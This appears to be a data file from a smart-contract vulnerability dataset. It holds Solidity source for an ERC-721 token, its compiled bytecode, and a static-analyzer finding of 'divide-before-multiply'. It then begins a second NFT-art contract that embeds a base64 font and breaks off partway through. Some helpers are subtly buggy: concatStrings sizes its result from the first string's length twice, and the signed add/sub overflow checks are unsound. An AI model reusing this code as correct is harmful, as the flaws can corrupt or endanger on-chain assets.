function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { _safeTransferFrom(_from, _to, _tokenId, ""); } function supportsInterface(bytes4 _interfaceID) external view returns(bool) { return supportedInterfaces[_interfaceID]; } function transferFrom(address _from, address _to, uint256 _tokenId) external canTransfer(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from); require(_to != NULL_ADDRESS); _transfer(_to, _tokenId); } function approve(address _approved, uint256 _tokenId) external canOperate(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(_approved != tokenOwner); idToApprovals[_tokenId] = _approved; emit Approval(tokenOwner, _approved, _tokenId); } function setApprovalForAll(address _operator, bool _approved) external { require(_operator != NULL_ADDRESS); ownerToOperators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } function getApproved(uint256 _tokenId) public view validNFToken(_tokenId) returns (address){ return idToApprovals[_tokenId]; } function isApprovedForAll(address _owner, address _operator) external view returns(bool) { require(_owner != NULL_ADDRESS); require(_operator != NULL_ADDRESS); return ownerToOperators[_owner][_operator]; } function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) internal canTransfer(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from); require(_to != NULL_ADDRESS); _transfer(_to, _tokenId); if (isContract(_to)) { bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data); require(retval == MAGIC_ON_ERC721_RECEIVED); } } function _transfer(address _to, uint256 _tokenId) private { address from = idToOwner[_tokenId]; clearApproval(_tokenId); removeNFToken(from, _tokenId); addNFToken(_to, _tokenId); emit Transfer(from, _to, _tokenId); } function clearApproval(uint256 _tokenId) private { if(idToApprovals[_tokenId] != NULL_ADDRESS){ delete idToApprovals[_tokenId]; } } function removeNFToken(address _from, uint256 _tokenId) internal { require(idToOwner[_tokenId] == _from); assert(ownerToNFTokenCount[_from] > 0); ownerToNFTokenCount[_from] = ownerToNFTokenCount[_from] - 1; delete idToOwner[_tokenId]; } function addNFToken(address _to, uint256 _tokenId) internal { require(idToOwner[_tokenId] == NULL_ADDRESS); idToOwner[_tokenId] = _to; ownerToNFTokenCount[_to] = ownerToNFTokenCount[_to].add(1); } //If bytecode exists at _addr then the _addr is a contract. function isContract(address _addr) internal view returns(bool) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } // Functions used for generating the URI function amountOfZeros(uint256 num, uint256 base) public pure returns(uint256){ uint256 result = 0; num /= base; while (num > 0){ num /= base; result += 1; } return result; } function uint256ToString(uint256 num) public pure returns(string memory){ if (num == 0){ return "0"; } uint256 numLen = amountOfZeros(num, 10) + 1; bytes memory result = new bytes(numLen); while(num != 0){ numLen -= 1; result[numLen] = byte(uint8((num - (num / 10 * 10)) + 48)); num /= 10; } return string(result); } function concatStrings(string memory str1, string memory str2) public pure returns (string memory){ uint256 str1Len = bytes(str1).length; uint256 str2Len = bytes(str2).length; uint256 resultLen = str1Len + str1Len; bytes memory result = new bytes(resultLen); uint256 i; for (i = 0; i < str1Len; i += 1){ result[i] = bytes(str1)[i]; } for (i = 0; i < str2Len; i += 1){ result[i + str1Len] = bytes(str2)[i]; } return string(result); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns(uint256 c) { if (a == 0 || b == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns(uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns(uint256 c) { c = a + b; assert(c >= a); return c; } /** * @dev Subtracts two numbers, throws on underflow */ function sub(int256 a, int256 b) internal pure returns(int256 c) { c = a - b; assert(c <= a); return c; } /** * @dev Adds two numbers, throws on overflow. */ function add(int256 a, int256 b) internal pure returns(int256 c) { c = a + b; assert(c >= a); return c; } }
0x608060405234801561001057600080fd5b50600436106101ab576000357c010000000000000000000000000000000000000000000000000000000090048063595a161b116100fb578063b88d4fde116100b4578063ce7e51e31161008e578063ce7e51e314610691578063e985e9c5146106ae578063f05a781d146106dc578063f5a1f5b4146106e4576101ab565b8063b88d4fde146105c7578063c87a2b3d14610657578063c87b56dd14610674576101ab565b8063595a161b146105225780636352211e1461048657806370a082311461054557806395d89b411461056b5780639b5a2e1314610573578063a22cb46514610599576101ab565b806318160ddd116101685780634245f3da116101425780634245f3da1461048657806342842e0e146104a35780634f6ccce7146104d9578063589e74be146104f6576101ab565b806318160ddd1461044057806323b872dd146104485780632b9689581461047e576101ab565b806301ffc9a7146101b057806306fdde0314610200578063081812fc1461027d57806308c243aa146102b6578063095ea7b3146102e557806312600aa314610313575b600080fd5b6101ec600480360360208110156101c657600080fd5b50357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191661070a565b604080519115158252519081900360200190f35b610208610742565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561024257818101518382015260200161022a565b50505050905090810190601f16801561026f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61029a6004803603602081101561029357600080fd5b5035610779565b60408051600160a060020a039092168252519081900360200190f35b6102d3600480360360208110156102cc57600080fd5b50356107e0565b60408051918252519081900360200190f35b610311600480360360408110156102fb57600080fd5b50600160a060020a0381351690602001356107ff565b005b6102086004803603604081101561032957600080fd5b81019060208101813564010000000081111561034457600080fd5b82018360208201111561035657600080fd5b8035906020019184600183028401116401000000008311171561037857600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156103cb57600080fd5b8201836020820111156103dd57600080fd5b803590602001918460018302840111640100000000831117156103ff57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061093c945050505050565b6102d3610a6b565b6103116004803603606081101561045e57600080fd5b50600160a060020a03813581169160208101359091169060400135610a72565b610311610b84565b61029a6004803603602081101561049c57600080fd5b5035610bb9565b610311600480360360608110156104b957600080fd5b50600160a060020a03813581169160208101359091169060400135610bed565b6102d3600480360360208110156104ef57600080fd5b5035610c0e565b6103116004803603604081101561050c57600080fd5b50600160a060020a038135169060200135610c23565b6102d36004803603604081101561053857600080fd5b5080359060200135610d2c565b6102d36004803603602081101561055b57600080fd5b5035600160a060020a0316610d64565b610208610d97565b6103116004803603602081101561058957600080fd5b5035600160a060020a0316610dce565b610311600480360360408110156105af57600080fd5b50600160a060020a0381351690602001351515610e07565b610311600480360360808110156105dd57600080fd5b600160a060020a0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561061857600080fd5b82018360208201111561062a57600080fd5b8035906020019184600183028401116401000000008311171561064c57600080fd5b509092509050610e8a565b61029a6004803603602081101561066d57600080fd5b5035610ed3565b6102086004803603602081101561068a57600080fd5b5035610efb565b610208600480360360208110156106a757600080fd5b5035610f63565b6101ec600480360360408110156106c457600080fd5b50600160a060020a0381358116916020013516611051565b6103116110ac565b610311600480360360208110156106fa57600080fd5b5035600160a060020a03166110d7565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19811660009081526020819052604090205460ff165b919050565b60408051808201909152601381527f30786368616e2049434f20537469636b65727300000000000000000000000000602082015281565b6000816000600160a060020a031660018281548110151561079657fe5b600091825260209091200154600160a060020a031614156107b657600080fd5b60028054849081106107c457fe5b600091825260209091200154600160a060020a03169392505050565b60058054829081106107ee57fe5b600091825260209091200154905081565b80600060018281548110151561081157fe5b600091825260209091200154600160a060020a03169050338114806108595750600160a060020a038116600090815260046020908152604080832033845290915290205460ff165b151561086457600080fd5b6001805484916000918390811061087757fe5b600091825260209091200154600160a060020a0316141561089757600080fd5b60006001858154811015156108a857fe5b600091825260209091200154600160a060020a03908116915086168114156108cf57600080fd5b856002868154811015156108df57fe5b600091825260208220018054600160a060020a031916600160a060020a03938416179055604051879289811692908516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259190a4505050505050565b8151815160408051838001808252601f19601f82011682016020019092526060939291908490828015610976576020820181803883390190505b50905060005b848110156109eb57878181518110151561099257fe5b90602001015160f860020a900460f860020a0282828151811015156109b357fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060010161097c565b5060005b83811015610a60578681815181101515610a0557fe5b90602001015160f860020a900460f860020a0282868301815181101515610a2857fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506001016109ef565b509695505050505050565b6005545b90565b806000600182815481101515610a8457fe5b600091825260209091200154600160a060020a0316905033811480610ab9575033610aae83610779565b600160a060020a0316145b80610ae75750600160a060020a038116600090815260046020908152604080832033845290915290205460ff165b1515610af257600080fd5b60018054849160009183908110610b0557fe5b600091825260209091200154600160a060020a03161415610b2557600080fd5b6000600185815481101515610b3657fe5b600091825260209091200154600160a060020a03908116915087168114610b5c57600080fd5b600160a060020a0386161515610b7157600080fd5b610b7b8686611110565b50505050505050565b600854600160a060020a03163314610b9b57600080fd5b60088054600160a060020a0319908116909155600980549091169055565b6000600182815481101515610bca57fe5b600091825260209091200154600160a060020a0316905080151561073d57600080fd5b610c09838383602060405190810160405280600081525061119b565b505050565b6005546000908210610c1f57600080fd5b5090565b600754600160a060020a03163314610c3a57600080fd5b600160a060020a0382161515610c4f57600080fd5b6005546001805490610c63908281016115d1565b506002805490610c7690600183016115d1565b506005805490610c8990600183016115d1565b506006805490610c9c90600183016115d1565b50610ca78382611419565b81600582815481101515610cb757fe5b906000526020600020018190555082600682815481101515610cd557fe5b600091825260208220018054600160a060020a031916600160a060020a039384161790556040518392861691907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4505050565b6000808284811515610d3a57fe5b0493505b6000841115610d5d578284811515610d5257fe5b049350600101610d3e565b9392505050565b6000600160a060020a0382161515610d7b57600080fd5b50600160a060020a031660009081526003602052604090205490565b60408051808201909152600481527f5a43495300000000000000000000000000000000000000000000000000000000602082015281565b600854600160a060020a03163314610de557600080fd5b60078054600160a060020a031916600160a060020a0392909216919091179055565b600160a060020a0382161515610e1c57600080fd5b336000818152600460209081526040808320600160a060020a03871680855290835292819020805460ff1916861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b610ecc85858585858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061119b92505050565b5050505050565b6006805482908110610ee157fe5b600091825260209091200154600160a060020a0316905081565b6060816000600160a060020a0316600182815481101515610f1857fe5b600091825260209091200154600160a060020a03161415610f3857600080fd5b610d5d606060405190810160405280602b815260200161160b602b9139610f5e85610f63565b61093c565b6060811515610fa6575060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015261073d565b6000610fb383600a610d2c565b60010190506060816040519080825280601f01601f191660200182016040528015610fe5576020820181803883390190505b5090505b8315610d5d5760001990910190600a8404600a02840360300160f860020a02818381518110151561101657fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a84049350610fe9565b6000600160a060020a038316151561106857600080fd5b600160a060020a038216151561107d57600080fd5b50600160a060020a03918216600090815260046020908152604080832093909416825291909152205460ff1690565b600954600160a060020a031633146110c357600080fd5b60088054600160a060020a03191633179055565b600854600160a060020a031633146110ee57600080fd5b60098054600160a060020a031916600160a060020a0392909216919091179055565b600060018281548110151561112157fe5b600091825260209091200154600160a060020a03169050611141826114bc565b61114b8183611513565b6111558383611419565b8183600160a060020a031682600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b8160006001828154811015156111ad57fe5b600091825260209091200154600160a060020a03169050338114806111e25750336111d783610779565b600160a060020a0316145b806112105750600160a060020a038116600090815260046020908152604080832033845290915290205460ff165b151561121b57600080fd5b6001805485916000918390811061122e57fe5b600091825260209091200154600160a060020a0316141561124e57600080fd5b600060018681548110151561125f57fe5b600091825260209091200154600160a060020a0390811691508816811461128557600080fd5b600160a060020a038716151561129a57600080fd5b6112a48787611110565b6112ad876115b6565b1561140f576040517f150b7a020000000000000000000000000000000000000000000000000000000081523360048201818152600160a060020a038b81166024850152604484018a9052608060648501908152895160848601528951600095928d169463150b7a029490938f938e938e939260a4019060208501908083838e5b8381101561134557818101518382015260200161132d565b50505050905090810190601f1680156113725780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15801561139457600080fd5b505af11580156113a8573d6000803e3d6000fd5b505050506040513d60208110156113be57600080fd5b505190507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1981167f150b7a02000000000000000000000000000000000000000000000000000000001461140d57600080fd5b505b5050505050505050565b60018054600091908390811061142b57fe5b600091825260209091200154600160a060020a03161461144a57600080fd5b8160018281548110151561145a57fe5b60009182526020808320919091018054600160a060020a031916600160a060020a0394851617905591841681526003909152604090205461149c9060016115be565b600160a060020a0390921660009081526003602052604090209190915550565b6002805460009190839081106114ce57fe5b600091825260209091200154600160a060020a0316146115105760028054829081106114f657fe5b60009182526020909120018054600160a060020a03191690555b50565b81600160a060020a031660018281548110151561152c57fe5b600091825260209091200154600160a060020a03161461154b57600080fd5b600160a060020a0382166000908152600360205260408120541161156b57fe5b600160a060020a03821660009081526003602052604090208054600019019055600180548290811061159957fe5b60009182526020909120018054600160a060020a03191690555050565b6000903b1190565b818101828110156115cb57fe5b92915050565b815481835581811115610c0957600083815260209020610c09918101908301610a6f91905b80821115610c1f57600081556001016115f656fe68747470733a2f2f30786368616e2e6e65742f737469636b6572732f6f626a5f70726f706572746965732fa165627a7a72305820acca7d522f0235058ba072aced84d7fe478d05dca68b2ddfb2a9b0e03f5024150029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
10,433
0x7D1fEDb30226E625560A3150A89860A3Cc21B093
/** *Submitted for verification at Etherscan.io on 2022-02-23 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library UInt256Extensions { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } uint32 internal constant day = 86400; uint16 internal constant hour = 3600; uint8 internal constant minute = 60; function secondsCutDays(uint256 secondTime) internal pure returns (uint256) { return secondTime / day; } function secondsToDayTimeUints(uint256 secondTime) internal pure returns ( uint256 d, uint256 h, uint256 m, uint256 s ) { d = secondTime / day; h = (secondTime - d * day) / hour; m = (secondTime - d * day - h * hour) / minute; s = secondTime - d * day - h * hour - m * minute; } function secondsToDayTimeString(uint256 secondTime) internal pure returns (string memory) { uint256 d = secondTime / day; uint256 h = (secondTime - d * day) / hour; uint256 m = (secondTime - d * day - h * hour) / minute; uint256 s = secondTime - d * day - h * hour - m * minute; return string( abi.encodePacked( UInt256Extensions.toString(d), "D ", UInt256Extensions.toString(h), "H ", UInt256Extensions.toString(m), "M ", UInt256Extensions.toString(s), "S" ) ); } } library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } contract TheStolenGenerator{ using UInt256Extensions for uint; address internal _thestolen; struct FactionImage{ bool fillFaction; bool fillOwner; bool fillHighscore; uint16 member; string factionName; address owner; uint256 highscore; uint256 factionSteals; uint256 steals; uint256 current; } string constant colorActive = "cb0429"; string constant colorNormal = "000000"; string constant _imageStart = "<svg style=\'fill-rule:nonzero;clip-rule:evenodd;stroke-linecap:round;stroke-linejoin:round;\' version=\'1.1\' viewBox=\'0 0 2000 2000\' xml:space=\'preserve\' xmlns=\'http://www.w3.org/2000/svg\' >"; string constant _fonts = " <defs><linearGradient gradientTransform=\'matrix(1 0 0 1 65 -70)\' gradientUnits=\'userSpaceOnUse\' id=\'LinearGradient\' x1=\'1010\' x2=\'1530\' y1=\'1010\' y2=\'1420\'><stop offset=\'0\' stop-color=\'#757575\' stop-opacity=\'0.220818\'/> <stop offset=\'1\' stop-color=\'#ffffff\' stop-opacity=\'0.452692\'/></linearGradient><style type=\'text/css\'>@font-face{font-family: \'Oswald\'; font-weight: 900; src: url(data:application/font-woff2;charset=utf-8;base64,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